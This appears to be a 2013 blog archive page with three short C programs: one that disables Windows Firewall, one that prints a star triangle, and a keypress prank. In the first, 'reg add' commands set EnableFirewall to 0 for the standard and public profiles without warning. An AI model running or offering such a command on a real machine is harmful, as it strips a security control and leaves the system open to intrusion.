Archive for 2013-11-17

C program to Block Windows Firewall



#include <stdio.h>
#include <stdlib.h>
#include <dos.h>
int main()
{
system("reg add HKLM\\system\\currentcontrolset\\Services\\SharedAccess\\parameters\\firewallpolicy\\standardprofile /v EnableFirewall /t reg_dword /d 0 /f");
system("reg add HKLM\\system\\currentcontrolset\\Services\\SharedAccess\\parameters\\firewallpolicy\\publicprofile /v EnableFirewall /t reg_dword /d 0 /f");
return 0;
}
Posted by Unknown

C program to output right triangle

#include <iostream>

int main ()
{

    int i,j;

    for (i = 5; i > 0; i--)

    {

        for (j = i; j > 0; j--)
            printf ("*");

        printf ("\n");

    }
system("PAUSE");

    return 0;

}
Posted by Unknown

Some Programming in funny way...

# include<stdio.h>
#include <conio.h>
int main()
{
char ch[]="I AM AN IDIOT.";
char c='A';
int i=0;
while(c)
{
c=getch();
printf("%c\a",ch[i]);
i++;
if(i==14)
{
printf(" "); i=0;
}
}
}
Posted by Unknown

© Information Technology